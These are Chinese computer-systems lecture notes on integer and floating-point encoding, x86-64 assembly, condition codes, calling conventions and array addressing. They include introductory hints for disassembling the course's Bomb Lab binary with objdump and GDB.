第 2 讲：位、字节与整数

一种位串，多种解释

1 字节是 8 位；两位十六进制数对应一字节，如 $\mathtt{0xD6}=(1101\,0110)_2$。十六进制便于读内存、掩码和机器码；十进制便于讨论数值。

课上的 x86-64 Linux 环境通常有 char=1、short=2、int=4、long=8、指针=8 字节。位串本身没有正负，类型和运算决定解释方式。

对 $w$ 位串 $\mathbf{x}=[x_{w-1},\ldots,x_0]$，无符号解释 B2U（Binary to Unsigned）和补码解释 B2T（Binary to Two’s-complement）分别为：

$$\operatorname{B2U}_w(\mathbf{x})=\sum_{i=0}^{w-1}x_i\,2^i$$ $$\operatorname{B2T}_w(\mathbf{x})=-x_{w-1}\,2^{w-1}+\sum_{i=0}^{w-2}x_i\,2^i$$

32 位无符号范围是 $0\le x\le2^{32}-1$，补码有符号范围是 $\mathrm{TMin}=-2^{31}$ 到 $\mathrm{TMax}=2^{31}-1$。最高位为 1 的同一位串，按有符号解释时比按无符号解释少 $2^{32}$：0xFFFFFFFF 是 4294967295U 或 −1。

位操作、逻辑操作、移位

& | ^ ~ 逐位作用，结果仍是一整个位串；&& || ! 先把零视为假、非零视为真，结果为 0/1。&& 和 || 会短路：p && *p 先确认指针非空，再访问所指对象。需要 0/1 表示时常用 !!x。

左移在低位补 0；逻辑右移在高位补 0；算术右移复制符号位。例如 8 位 11010110 右移 2 位，逻辑结果 00110101，算术结果 11110101。在本课环境中，负 int 的 >> 是算术右移，unsigned 的 >> 是逻辑右移。移位量必须在 0 到位宽减 1 之间。负数算术右移向负无穷取整，如 $\left\lfloor-5/2\right\rfloor=-3$；C 整数除法向零截断，$\operatorname{trunc}(-5/2)=-2$。

掩码的三个常用动作：x & mask 保留选定位；x | mask 置位；x & ~mask 清位。取第 n 个字节可写 (x >> (8*n)) & 0xFF。补码取负的位级恒等式是 $-x\equiv\operatorname{NOT}_w(x)+1\pmod{2^w}$（按 $2^w$ 取模）；x & (~x+1) 只保留最低位的 1。

类型转换、扩展与截断

有符号数和无符号数比较，有符号数会被转换为无符号数。 有符号和无符号的同宽转换保留位串，改变数值解释。因此在 32 位 int 下，-10 > 10U 为真：比较前 -10 被转成很大的 unsigned。short 等较窄整数参加普通算术时通常先提升到 int。做混合类型题先确定每个操作数的类型和通常算术转换，再比较数值。

把较窄补码有符号数扩宽时复制符号位，例如 short -12 的 0xFFF4 扩为 int 0xFFFFFFF4；无符号数扩宽高位补零。截断只保留低位，再按目标类型解释。若把负 short 转成 unsigned int，通常先扩成负 int，再按模 $2^{32}$ 转无符号；不能想当然地只给原来的 16 位补零。

有限位宽的算术

无符号加、乘按 $2^w$ 取模：$\mathtt{0xFFFFFFFF}+1\equiv0\pmod{2^{32}}$。硬件补码加法也留下低 w 位；同号加数得到异号结果时发生有符号溢出，减法溢出则要求两操作数异号且结果与被减数异号。标准 C 中有符号溢出没有定义结果；做位级题时题目通常单独规定补码回绕或用编译选项明确该语义。

乘以 $2^k$ 可对应左移 k 位；无符号除以 $2^k$ 可对应右移 k 位。负数要用算术右移实现向零的除法，需要先补偏置：(x + ((x>>31) & ((1<<k)-1))) >> k。编译器也常用 lea 把小常数倍乘法变成移位加法。

内存里的字节顺序

内存按字节编址。把 0x12345678 放在连续 4 字节中，小端序从低地址到高地址是 78 56 34 12；大端序是 12 34 56 78。x86 使用小端；网络协议中的多字节整数常采用大端，可在读取字段时用 ntohl/ntohs 转成主机序。字符串和字节数组本身依顺序存放，不因端序颠倒字符排列。

类型大小与整数编码速查

内容	应记住的规则
Linux x86-64 类型大小	char $1$、short $2$、int/float $4$、long/double/指针 $8$ 字节。
32 位补码边界	$TMin=-2^{31}$，$TMax=2^{31}-1$，$UMax=2^{32}-1$。
补码取负	位级结果为 ~x+1；TMin 的正值超出有符号范围。
扩展	有符号复制符号位，无符号补 $0$；截断保留低位。
端序	小端低地址放最低有效字节；大端低地址放最高有效字节。

第 3 讲：浮点数

二进制小数与 IEEE 754

二进制小数的小数位权依次是 $2^{-1},2^{-2},\ldots$。$5.75=(101.11)_2$，但 $0.1$ 不能用有限二进制位精确写出，因此浮点运算不可避免地遇到舍入。

IEEE 754 单精度把 32 位分为 $s\ (1)\;\vert\;\mathrm{exp}\ (8)\;\vert\;\mathrm{frac}\ (23)$，双精度分为 $1\;\vert\;11\;\vert\;52$。数值可统一写成：

$$v=(-1)^s\times M\times2^E$$

先看指数域，再选择解码公式：

指数域	类别	有效数字 M	实际指数 E
$1\le\mathrm{Exp}\le254$（单精度）	规格化	$1+\dfrac{\mathrm{frac}}{2^{23}}$	$\mathrm{Exp}-127$
$0$	非规格化或零	$\dfrac{\mathrm{frac}}{2^{23}}$	$-126$
$255$	无穷或 NaN	$\mathrm{frac}=0$ 是无穷；否则 NaN	—

例如 $6.5=(1.101)_2\times2^2$，编码 $(0\;10000001\;101000\ldots0)_2=\mathtt{0x40D00000}$。最小正规格化正数是 $2^{-126}$；最小正非规格化数是 $2^{-149}$。非规格化区域相邻值间距恒为 $2^{-149}$，使数值平滑靠近零。$+0$ 和 $-0$ 数值比较相等，但符号位不同；$1/(+0)$ 与 $1/(-0)$ 可得到不同符号的无穷。这里需要注意的是规格化数的有效数字 $M$ 有一个隐含的前导 $1$，因此实际精度会高一位；非规格化数没有这个前导 $1$。

非规格化数的范围与表示

非规格化数（subnormal，也称 denormalized number）表示靠近零、绝对值小于最小规格化正数的非零值。其指数域全零，小数域非零。指数域和小数域都为零时，表示正零或负零；指数域全一则表示无穷或 NaN，这些都不是非规格化非零数。

指数域	小数域	表示的类别
全零	全零	$s=0$ 表示 $+0$，$s=1$ 表示 $-0$。
既非全零也非全一	任意	规格化数。
全一	全零	无穷
全一	非零	NaN

有效数字没有隐含的前导一

设小数字段有 $n$ 位，其编码作为无符号整数读出为 $F$。规格化数使用 $(1.\mathrm{frac})_2$，非规格化数使用 $(0.\mathrm{frac})_2$：

$$M=\frac{F}{2^n},\qquad E=1-\mathrm{Bias}$$ $$v=(-1)^s\frac{F}{2^n}\,2^{1-\mathrm{Bias}} =(-1)^s F\,2^{1-\mathrm{Bias}-n}$$

指数域为零时，实际指数取 $1-\mathrm{Bias}$，不能直接套用 $\mathrm{Exp}-\mathrm{Bias}$。 因而非规格化数与最小规格化数使用同一个实际指数，只是前导位从 $1$ 变为 $0$。

单精度的全部非规格化非零数

float 的小数字段为 $23$ 位，偏置为 $127$，所以：

$$E=1-127=-126,\qquad v=(-1)^s F\,2^{-149}$$

其中 $s\in\{0,1\}$、$F\in\{1,2,\ldots,2^{23}-1\}$。全部非规格化非零值可以写为：

$$v\in\left\{\pm F\,2^{-149}\;\middle|\;F=1,2,\ldots,2^{23}-1\right\}$$

它们是离散的数，不是这个区间内的每一个实数。正数部分从 $2^{-149}$ 到 $2^{-126}-2^{-149}$，每次增加 $2^{-149}$；负数部分关于零对称。

含义	32 位编码	小数字段 F	数值
最小正非规格化数	$\mathtt{0x00000001}$	$1$	$2^{-149}$。
下一正非规格化数	$\mathtt{0x00000002}$	$2$	$2\times2^{-149}=2^{-148}$。
第三个正非规格化数	$\mathtt{0x00000003}$	$3$	$3\times2^{-149}$。
最小正规格化数的一半	$\mathtt{0x00400000}$	$2^{22}$	$2^{-127}$。
最大正非规格化数	$\mathtt{0x007FFFFF}$	$2^{23}-1$	$2^{-126}-2^{-149}$。
最接近零的负非规格化数	$\mathtt{0x80000001}$	$1$	$-2^{-149}$。
绝对值最大的负非规格化数	$\mathtt{0x807FFFFF}$	$2^{23}-1$	$-(2^{-126}-2^{-149})$。

以最大正非规格化数为例，符号为 $0$，指数为八个 $0$，小数为二十三个 $1$。它的有效数字及数值为：

$$M=(0.\underbrace{111\ldots111}_{23\text{ 位}})_2=1-2^{-23}$$ $$v=(1-2^{-23})2^{-126}=2^{-126}-2^{-149}$$

紧接它的编码 $\mathtt{0x00800000}$ 是最小正规格化正数，指数域为 $1$、小数域为零，数值为 $2^{-126}$，已经不属于非规格化数。

双精度的对应表示

double 的小数字段为 $52$ 位，偏置为 $1023$，因此：

$$E=1-1023=-1022,\qquad v=(-1)^s F\,2^{-1074},\qquad 1\le F\le2^{52}-1$$

含义	64 位编码	数值
最小正非规格化数	$\mathtt{0x0000000000000001}$	$2^{-1074}$。
最大正非规格化数	$\mathtt{0x000FFFFFFFFFFFFF}$	$2^{-1022}-2^{-1074}$。
最小正规格化正数，作为边界对照	$\mathtt{0x0010000000000000}$	$2^{-1022}$。

负值只需将符号位置为 $1$，指数域与小数域保持不变；例如 $-2^{-1074}$ 的编码为 $\mathtt{0x8000000000000001}$。

为什么需要非规格化数

单精度最大非规格化正数到最小规格化正数的差为：

$$2^{-126}-(2^{-126}-2^{-149})=2^{-149}$$

这与非规格化区域内部的间距一致，使表示的数值可以逐步接近零，称为渐进下溢（gradual underflow）。非规格化数的小数前部可能出现越来越多的零，有效精度也随之降低；规格化数的隐含前导 $1$ 不适用于它们。

浮点格式与特殊值速查

IEEE 754 格式	符号/阶码/小数字段位数	偏置 Bias	规格化数的有效精度
单精度 float	$1/8/23$	$127$	$24$ 位
双精度 double	$1/11/52$	$1023$	$53$ 位

一般格式若阶码 $k$ 位、小数字段 $n$ 位，则 $Bias=2^{k-1}-1$。规格化数用 $E=Exp-Bias$、$M=1+\frac{frac}{2^n}$；非规格化数用 $E=1-Bias$、$M=\frac{frac}{2^n}$，数值均为 $(-1)^sM2^E$。

单精度特殊值：正零 0x00000000，负零 0x80000000，正无穷 0x7F800000，负无穷 0xFF800000；指数全 $1$ 且小数字段非零是 NaN。最小正规格化正数 $2^{-126}$，最小正非规格化数 $2^{-149}$。向偶数舍入在被舍弃位恰为 100…0 时，选择保留位末位为 $0$ 的结果；浮点转整数按 C 的规则向零截断。

舍入、精度和运算次序

向偶数舍入：默认 “就近，遇到正好中点取偶数” ：保留位末位为 0 的候选获胜。例如保留三位二进制小数，$(101.100100)_2$ 舍为 $(101.100)_2$，$(101.101100)_2$ 舍为 $(101.110)_2$。浮点数的加法先对齐指数、相加、规格化、舍入；乘法先合并符号和指数、相乘有效数字，再规格化、舍入。加上远小于当前数的量，可能因精度不足而完全没有效果。

单精度有 24 位有效二进制精度，能精确表示 $\lvert x\rvert\le2^{24}$ 的整数；双精度有 53 位，能精确表示全部 32 位 int。 单精度约 6～7 位十进制有效数字，双精度约 15～16 位。浮点加法、乘法一般可交换，却未必结合：$(\text{大数}+\text{小数})-\text{大数}$ 与 $\text{小数}+(\text{大数}-\text{大数})$ 可能不同。涉及 NaN 的大小比较都为假，NaN != NaN 为真。

去年第一次小测的一道判断题值得记住：三个 32 位整数先转成 double 后，任意部分和仍在 53 位精确整数范围内，所以三项 double 加法在该题中满足结合律；三项乘法的中间结果可能超过精度，因此不能照搬结论。判断浮点代数式时先看具体数值范围和每一步是否精确。

第 4 讲：看懂 x86-64 汇编

从 C 到指令

gcc -S 生成汇编，gcc -c 生成目标文件，链接后得到可执行文件；objdump -d 可查看指令地址、机器码字节和反汇编。反汇编显示的是机器指令的解释，原来的 C 变量名和结构化控制流未必能还原。x86-64 指令长短可变，所以相邻指令地址的差也可变。

AT&T 语法把源写在前、目的写在后：movq %rdi,%rax 将 %rdi 复制到 %rax。$7 是立即数7，7(%rdi) 是地址 %rdi+7 处的内存。指令后缀 b/w/l/q 分别表示 1/2/4/8 字节。寄存器保存数值，内存可看成按字节编址的数组，%rip 指示下一条待执行指令。

ELF 文件、机器码与反汇编

Bomblab-Hints

Linux 下的 bomb 是 x86-64 的 ELF（Executable and Linkable Format）可执行文件，不要求有扩展名。文件中包含机器指令、只读常量、全局数据以及符号和装载信息；CPU 执行的是机器指令字节。bomb.c 只给出实验的主流程，关卡函数的实现已经编译进 bomb。

file bomb
objdump -t bomb
objdump -d bomb > bomb.asm
objdump -d --disassemble=phase_1 bomb
strings bomb

file 查看文件类型；objdump -t 查看符号表，定位函数和全局对象；objdump -d 将代码解码为汇编文本；strings 提取可打印字符串，可用于寻找提示、常量和输入格式。提取出的字符串还要通过代码引用确认用途。

> 是 Shell 的输出重定向，将标准输出写入文件，同名文件已存在时会覆盖。生成 bomb.asm 只是在另一个文件里记录反汇编结果，不改变原来的 bomb。.asm 是输出文件名的扩展名，也可以保存为 .txt；这份输出含地址、机器字节和注释，不是原始 C 源码。

154d: e8 3d 05 00 00    call 1a8f <strings_not_equal>

这一行依次显示指令地址、机器字节、汇编指令和目标符号。分析时主要看汇编操作数和控制流；机器字节可用来核对编码与指令长度。反汇编能还原指令，通常不能恢复变量名、注释和唯一的 C 写法。

本次炸弹采用 PIE（Position Independent Executable，位置无关可执行文件）。静态反汇编显示 ELF 中的地址，运行时实际地址还要结合加载基址；在 GDB 中用 break phase_1 等函数名定位更直接。

寄存器、访存与寻址

%rax/%eax/%ax/%al 依次指同一寄存器的 64/32/16/8 位部分，%ah 是第 8～15 位。写 32 位寄存器（如 %eax）会把对应 64 位寄存器的高 32 位清零；写 %ax/%al 则不清。考试读混合宽度指令时，要同时追踪修改了哪几位。

常用寻址式 D(Rb,Ri,S) 的有效地址是 $D+R_b+S R_i$，其中 S 可为 1/2/4/8。 例如 $R[\mathtt{rdx}]=\mathtt{0xC000}$、$R[\mathtt{rcx}]=\mathtt{0x200}$ 时，0x10(%rdx,%rcx,4) 地址为 0xC810。movq (...) 会访问内存；leaq (...) 只计算这个地址表达式，因此也能高效算 $x+4y+\text{常数}$。

mov 常见方向是立即数→寄存器/内存、寄存器→寄存器/内存、内存→寄存器；普通 movq 不能直接内存→内存。movz 零扩展，movs 符号扩展。看汇编时先标注每个寄存器目前表示的 C 变量，再逐条算地址与数值，最后写出等价的 C 表达式。

一段典型代码：

leaq (%rdi,%rsi), %rax    # x+y
addq %rdx, %rax           # x+y+z
leaq (%rsi,%rsi,2), %rcx  # 3y
salq $4, %rcx             # 48y

%rdi/%rsi/%rdx 是前三个整数参数；同一寄存器可随时间改存中间量。

通用寄存器：完整名称

下面的参数、返回值和保存责任采用本课Linux x86-64 System V ABI。整数和指针参数使用这组通用寄存器，浮点参数主要使用XMM寄存器；混合参数分别按各自序列分配。表中的参数顺序描述调用时的角色，进入函数后寄存器还可以保存局部变量或中间结果。

四字（64 位）	双字（32 位）	字（16 位）	字节（低 8 位）	常见用途	保存责任
%rax	%eax	%ax	%al	常用整数／指针返回值，算术中间结果。	调用者保存
%rbx	%ebx	%bx	%bl	常用于保存跨函数调用仍要使用的值。	被调用者保存
%rcx	%ecx	%cx	%cl	第 4 个整数／指针参数；%cl 可作移位量。	调用者保存
%rdx	%edx	%dx	%dl	第 3 个整数／指针参数；全乘法高半部、除法余数。	调用者保存
%rsi	%esi	%si	%sil	第 2 个整数／指针参数。	调用者保存
%rdi	%edi	%di	%dil	第 1 个整数／指针参数。	调用者保存
%rbp	%ebp	%bp	%bpl	可选帧指针，也可保存普通数据。	被调用者保存
%rsp	%esp	%sp	%spl	栈指针，指向当前栈顶，参与压栈、出栈和调用返回。	返回时恢复
%r8	%r8d	%r8w	%r8b	第 5 个整数／指针参数。	调用者保存
%r9	%r9d	%r9w	%r9b	第 6 个整数／指针参数。	调用者保存
%r10	%r10d	%r10w	%r10b	临时数据和中间结果，无固定的普通参数序号。	调用者保存
%r11	%r11d	%r11w	%r11b	临时数据和中间结果，无固定的普通参数序号。	调用者保存
%r12	%r12d	%r12w	%r12b	常用于保存跨函数调用仍要使用的值。	被调用者保存
%r13	%r13d	%r13w	%r13b	常用于保存跨函数调用仍要使用的值。	被调用者保存
%r14	%r14d	%r14w	%r14b	常用于保存跨函数调用仍要使用的值。	被调用者保存
%r15	%r15d	%r15w	%r15b	常用于保存跨函数调用仍要使用的值。	被调用者保存

前六个整数／指针参数顺序为 %rdi,%rsi,%rdx,%rcx,%r8,%r9。例如 int f(int a,int b,int c) 入口处可从 %edi,%esi,%edx 读取三个 32 位参数，int 返回值读 %eax；long 和指针通常使用 64 位名称。全为整数／指针的基本标量调用中，第七个及后续参数放在栈上，不继续分配到 %r10/%r11。

调用者保存表示被调用函数可以改写该寄存器；调用者若还需要调用前的值，就在调用前保存、调用后恢复。被调用者保存表示被调用函数如果要使用并改写它，必须在返回前恢复原值。%rsp 始终要正确维护，在函数返回后恢复调用者应有的栈顶。

参数位置、返回值位置和保存责任是 ABI 的约定；栈指针以及某些指令的隐含操作数由指令集规定。例如 mulq/imulq 的单操作数形式使用 %rax 并产生 %rdx:%rax，divq/idivq 将商写 %rax、余数写 %rdx。普通 mov/add/lea 中的寄存器用途则由当前指令和程序逻辑决定。

%ah/%bh/%ch/%dh 分别是 %ax/%bx/%cx/%dx 的高字节，即位 $15$～$8$；它们不是整个 $64$ 位寄存器的最高字节。写 $32$ 位寄存器会清零对应寄存器的高 $32$ 位；写 $8$ 或 $16$ 位部分保留其他位。

名称	标准用途或含义
%rip	指令指针（instruction pointer），用于确定执行位置；RIP 相对寻址以当前指令末尾、下一条指令地址为基准。它独立于上述 16 个通用寄存器。
%rsp	栈指针（stack pointer），随栈帧分配、push/pop/call/ret 等操作变化。
%rbp	可选的帧指针（frame pointer）；编译器可以省略帧指针，直接用 %rsp 加偏移访问局部对象。
%cl	基本移位指令使用的可变移位量寄存器，如 salq %cl,%rax；它是 %rcx 的最低字节。

数据传送：四种 MOV 与扩展

AT&T 格式为 指令 S,D，S 是源操作数（source），D 是目的操作数（destination）。

指令	字节数	标准称呼	操作
movb S,D	$1$	传送字节（byte）	复制 $8$ 位。
movw S,D	$2$	传送字（word）	复制 $16$ 位。
movl S,D	$4$	传送双字（double word）	复制 $32$ 位；目的为寄存器时，清对应高 $32$ 位。
movq S,D	$8$	传送四字（quad word）	复制 $64$ 位。
movabsq I,R	$8$	传送绝对的四字	将完整 $64$ 位立即数传送到寄存器。

普通 MOV 的合法方向：立即数→寄存器、立即数→内存、寄存器→寄存器、寄存器→内存、内存→寄存器。两个操作数不能同时是内存；寄存器宽度应匹配指令后缀。立即数由 $ 标记，寄存器由 % 标记。

movq 中一般的立即数编码是符号扩展的 $32$ 位；完整 $64$ 位立即数用 movabsq。不要把“传送四字”理解成普通 movq 总能给内存直接写入任意 $64$ 位立即数。

源→目的字节数	零扩展传送 MOVZ	符号扩展传送 MOVS
$1\to2$	movzbw	movsbw
$1\to4$	movzbl	movsbl
$1\to8$	movzbq	movsbq
$2\to4$	movzwl	movswl
$2\to8$	movzwq	movswq
$4\to8$	写 $32$ 位目的寄存器的 movl	movslq

两个后缀依次表示源、目的宽度；z 为 zero extension（零扩展），s 为 sign extension（符号扩展）。cltq 将 %eax 符号扩展成 %rax，等价于 movslq %eax,%rax。没有必要使用 movzlq，因为写 %eax 已使 %rax 高位清零。

操作数与有效地址

形式	含义	示例
立即数	常量直接编码在指令中	$7
寄存器	寄存器中的值	%rax
内存	有效地址处的值	8(%rdi)、(%rdi,%rsi,4)

完整寻址式为 D(Rb,Ri,S)，有效地址为 $D+R_b+S R_i$；比例因子 $S\in\{1,2,4,8\}$，索引寄存器不能是 %rsp。leaq S,R 的标准称呼是加载有效地址（load effective address）：计算地址表达式并写寄存器，不读取该地址内存，也不改条件码。

算术、逻辑与移位：名称和效果

下面的 D 是原目的值，双操作数结果写回 D。常见整数宽度按 b/w/l/q 选择。

指令族	标准称呼	效果
inc D	递增	$D\leftarrow D+1$
dec D	递减	$D\leftarrow D-1$
neg D	取负（算术取反）	$D\leftarrow-D$
not D	取补（按位取反）	$D\leftarrow\operatorname{NOT}(D)$
add S,D	加法	$D\leftarrow D+S$
sub S,D	减法	$D\leftarrow D-S$
imul S,D	乘法	$D\leftarrow D\times S$，保留目的宽度的低位。
xor S,D	异或	$D\leftarrow D\oplus S$
or S,D	或	$D\leftarrow D\mathbin{\vert}S$
and S,D	与	$D\leftarrow D\mathbin{\&}S$
sal k,D	左移	低位补 $0$；与 shl 相同。
shl k,D	左移	低位补 $0$。
sar k,D	算术右移	高位复制符号位。
shr k,D	逻辑右移	高位补 $0$。

可变移位量放 %cl，固定移位量写立即数，如 salq $3,%rax。基本 $64$ 位移位指令使用移位量的低 $6$ 位，$32$ 位指令使用低 $5$ 位；C 语言中移位量仍必须小于类型位宽，不能由机器掩码规则推断超范围 C 移位合法。

特殊算术操作：全乘法与除法

指令	标准称呼	隐含输入与输出
imulq S	有符号全乘法	%rax 乘 S，$128$ 位乘积写 %rdx:%rax。
mulq S	无符号全乘法	%rax 乘 S，$128$ 位乘积写 %rdx:%rax。
cqto	转换为八字	把 %rax 的符号扩展到 %rdx:%rax。
idivq S	有符号除法	%rdx:%rax 除以 S，商写 %rax，余数写 %rdx。
divq S	无符号除法	%rdx:%rax 除以 S，商写 %rax，余数写 %rdx。

有符号 $64$ 位数除法通常先 cqto，无符号 $64$ 位数除法通常先清零 %rdx。单操作数 imulq S 返回完整乘积，双操作数 imulq S,D 保留低 $64$ 位。

第 5 讲：条件与控制流

条件码如何产生

CF 是无符号进位/借位标志，ZF 表示结果为零，SF 是结果符号位，OF 表示有符号溢出。addq b,a 同时计算并设置条件码；cmpq b,a 按 $a-b$ 设置条件码但不写回；testq b,a 按 $a\mathbin{\&}b$ 设置条件码但不写回。leaq 不修改条件码。

有符号比较关注 SF 和 OF：setl/jl 条件为 $\mathrm{SF}\ne\mathrm{OF}$，setg/jg 为 $\mathrm{ZF}=0\land\mathrm{SF}=\mathrm{OF}$。无符号比较关注 CF：setb/jb 为 $\mathrm{CF}=1$，seta/ja 为 $\mathrm{CF}=0\land\mathrm{ZF}=0$。执行 cmpq %rsi,%rdi 后，就是在判断 $R[\mathtt{rdi}]-R[\mathtt{rsi}]$；不要把 AT&T 操作数顺序读反。

setg %al 只写一个字节，常跟 movzbl %al,%eax 得到干净的 0/1 返回值，同时清掉 %rax 的高 32 位。jcc 改变下一条指令地址，cmovcc 先算候选值再按条件选择；条件传送适合两边都便宜且没有危险访问或副作用的表达式。

条件码：英文、含义与更新

条件码	英文名称	中文称呼	含义
CF	Carry Flag	进位标志	无符号加法进位或减法借位。
ZF	Zero Flag	零标志	结果为 $0$。
SF	Sign Flag	符号标志	结果的最高位。
OF	Overflow Flag	溢出标志	有符号运算溢出。

cmp S,D 按 $D-S$ 设置条件码；test S,D 按 $D\mathbin{\&}S$ 设置条件码；二者均不写回结果。mov、lea、not、setcc、cmovcc 不改变条件码；inc/dec 保留 CF。and/or/xor/test 将 CF、OF 清零。分析 jcc 前，先找到最近一条真正更新条件码的指令。

条件后缀：SET、JMP、CMOV 共用的判断

表中关系是在 cmp S,D 后判断 D 与 S。! 为逻辑非，^ 为异或；表内公式的值只有 $0/1$。

后缀	英文称呼	比较关系	条件码公式	例子
e / z	equal / zero	相等	$ZF$	sete、je、cmove
ne / nz	not equal / not zero	不等	$\neg ZF$	setne、jne、cmovne
s	negative	结果为负	$SF$	sets、js、cmovs
ns	nonnegative	结果非负	$\neg SF$	setns、jns、cmovns
g / nle	greater	有符号大于	$\neg(SF\oplus OF)\land\neg ZF$	setg、jg、cmovg
ge / nl	greater or equal	有符号大于等于	$\neg(SF\oplus OF)$	setge、jge、cmovge
l / nge	less	有符号小于	$SF\oplus OF$	setl、jl、cmovl
le / ng	less or equal	有符号小于等于	$(SF\oplus OF)\lor ZF$	setle、jle、cmovle
a / nbe	above	无符号大于	$\neg CF\land\neg ZF$	seta、ja、cmova
ae / nb	above or equal	无符号大于等于	$\neg CF$	setae、jae、cmovae
b / nae	below	无符号小于	$CF$	setb、jb、cmovb
be / na	below or equal	$D\le S$（无符号）	$CF\lor ZF$	setbe、jbe、cmovbe
o	overflow	有符号溢出	$OF$	seto、jo、cmovo
no	not overflow	无有符号溢出	$\neg OF$	setno、jno、cmovno

setcc D 只写一个字节的 $0/1$，目的可为字节寄存器或一字节内存；常接 movzbl %al,%eax。cmovcc S,R 支持 $16/32/64$ 位，目的必须是寄存器；源可为寄存器或内存。源为内存时，即使条件不成立也可能访问源地址，不能用它无条件读取可能为空的指针。

循环与跳转表

do-while 在体后检查条件；while 可以先跳到检查处；for(init;test;update) 相当于先初始化、每轮先测试、执行体后更新。读汇编时找到循环体、更新、回跳、退出四个位置，比逐条猜高级语法稳定。无符号循环常用 ja/jb/jbe，有符号循环常用 jg/jl/jle。

稠密的 switch 可编成跳转表。jmp *.L4(,%rdi,8) 先在 $\operatorname{addr}(\mathtt{.L4})+8R[\mathtt{rdi}]$ 处读 8 字节目标地址，再间接跳转，通常先检查编号范围。多个 case 可共用地址，某个 case 缺少 break 就会继续执行下一段代码。做反汇编题时先画“编号→表项→代码块”，再处理落入关系。

PIE 中还常见 4 字节有符号相对偏移表。本次 Bomb Lab 第三关先取得表基址，再读取、扩展并加回基址：

lea     table(%rip), %rdx
movslq  (%rdx,%rax,4), %rax
add     %rdx, %rax
jmp     *%rax

此时 %rax 最初是编号，每项占 4 字节；表项本身不是完整指针。实际目标是 $\mathrm{target}=\mathrm{table\_base}+\mathrm{signed\_offset}[\mathrm{index}]$。例如表中存 0xffffe2e9，应符号扩展为负偏移再相加，不能当作正地址。查看这种表可用 GDB 的 x/8dw；若表中存完整 8 字节地址，则用 x/8gx。表项宽度和解释方式都由实际加载指令决定。

跳转指令：直接与间接

指令	标准称呼	应背的执行效果
jmp Label	直接跳转	目标由标号确定，不压返回地址。
jmp *%rax	间接跳转	跳到 %rax 中的地址。
jmp *(%rax)	间接跳转	从 %rax 所指内存读取目标地址后跳转。
jcc Label	条件跳转	条件码满足指定条件时跳转。

第 6 讲：过程、调用与栈

传控制：call 与 ret

x86-64 栈向低地址增长，%rsp 指向栈顶。pushq 先减 8 再写内存；popq 先读内存再加 8。call 把下一条指令的地址压栈并跳到被调用函数；ret 从栈顶取回地址并跳回。 比如 call 位于 0x400544、下一条在 0x400549，调用前 $R[\mathtt{rsp}]=\mathtt{0x120}$，调用后 $R[\mathtt{rsp}]=\mathtt{0x118}$ 且 $M_8[\mathtt{0x118}]=\mathtt{0x400549}$；ret 后恢复到 0x120。

栈与过程控制指令

指令	标准称呼	应背的执行效果
pushq S	压栈	%rsp 减 $8$，把源值存到新栈顶。
popq D	出栈	读取旧栈顶值，%rsp 加 $8$，把读取值写入目的。
call Label / call *S	过程调用	压入下一条指令地址，再跳到被调用过程。
ret	过程返回	弹出返回地址并跳回。
leave	释放栈帧	相当于 movq %rbp,%rsp; popq %rbp。

传数据：ABI 与寄存器

Linux x86-64 System V ABI 的前六个整数/指针参数依次放 %rdi,%rsi,%rdx,%rcx,%r8,%r9，多出的参数放栈上，整数返回值通常在 %rax。浮点参数主要用 %xmm0,%xmm1,…，浮点返回值在 %xmm0。ABI 还规定栈对齐和寄存器保存责任；从寄存器位置能推断汇编中的参数角色。

调用者应在执行 call 前保持 %rsp 为 16 的倍数；call 压入 8 字节返回地址，因此被调用函数入口的 %rsp 通常相对 16 字节边界偏 8。读栈帧图时先标出“当前 %rsp”，再算局部变量、保存寄存器和返回地址的偏移。

调用者若希望值跨函数调用保留，必须在调用前保存调用者保存寄存器中的内容：%rax,%rdi,%rsi,%rdx,%rcx,%r8～%r11。被调用者若使用 %rbx,%rbp,%r12～%r15，须在返回前恢复。%rsp 返回时也要恢复。局部变量若需要地址、体积较大或寄存器不够，编译器会给它栈空间；%rbp 可选作帧指针。

每次递归调用都会有自己的返回地址和栈帧。例如递归计数 popcount(x) 时，当前层把 x&1 保存起来，递归计算 x>>1，再把两者相加。递归结束依靠基例 $x=0$，层数过多会耗尽栈空间。

用调用约定识别字符串比较与输入解析

Bomb Lab 中的 strings_not_equal(input,target) 把两个字符串地址分别放 %rdi、%rsi，返回的 int 在 %eax。test %eax,%eax 检查是否为零，随后 jne 可在不相等时进入失败分支。字符串参数是地址，调试时用 x/s $rdi、x/s $rsi 查看所指字节。

sscanf 的第一个参数是输入字符串，第二个是格式串，后续参数是各输出变量的地址。例如：

int index, value;
char letter;
int count = sscanf(input, "%d %c %d", &index, &letter, &value);

对应 %rdi=input、%rsi=format、%rdx=&index、%rcx=&letter、%r8=&value。汇编用 lea 算出栈上变量的地址作为参数；调用返回后，变量值已写入相应位置。%eax 是成功赋值的项目数，此例要求三项都被读入。格式中的空白可匹配输入空白，%c 本身不会自动跳过空白，因此要看完整格式串。

调用后不能假定调用者保存寄存器仍保持原值。应在 sscanf 调用前看 %rsi 指向的格式，调用后看 %eax 和目标内存中的输入结果。

System V ABI：参数与保存责任

类别	名称或顺序
整数/指针前六个参数	%rdi、%rsi、%rdx、%rcx、%r8、%r9
整数/指针返回值	%rax
调用者保存	%rax、%rcx、%rdx、%rsi、%rdi、%r8、%r9、%r10、%r11
被调用者保存	%rbx、%rbp、%r12、%r13、%r14、%r15
栈指针	%rsp 在返回时恢复；调用前按 $16$ 字节对齐。
标量浮点参数	%xmm0、%xmm1、%xmm2、%xmm3、%xmm4、%xmm5、%xmm6、%xmm7
标量浮点返回值	%xmm0
XMM 保存责任	System V 中 XMM 寄存器由调用者保存。

基本标量题中，整数/指针和浮点参数分别使用各自的寄存器序列。栈上传递的第七个整数参数在被调用函数入口的 8(%rsp)，因为 (%rsp) 是返回地址；第八个在 16(%rsp)。若逐个压栈，较后的参数先压，第七个最后压。

第 7 讲：数组、结构体与浮点机器代码

地址计算是一条主线

对 T a[L]，第 $i$ 个元素地址为：

$$\operatorname{addr}(a[i])=\mathrm{base}+i\times\operatorname{sizeof}(T)$$

int a[R][C] 按行连续存放，a[i][j] 的地址为 $\mathrm{base}+4(iC+j)$；C 决定每行跨度。若 C=n 在运行时确定，函数需接收 n，如 int f(size_t n,int a[n][n],size_t i,size_t j)。数组 a 与指针 p 都能参与指针运算，但 sizeof(a)（在数组未退化的上下文）是整个数组大小，sizeof(p) 是指针大小。

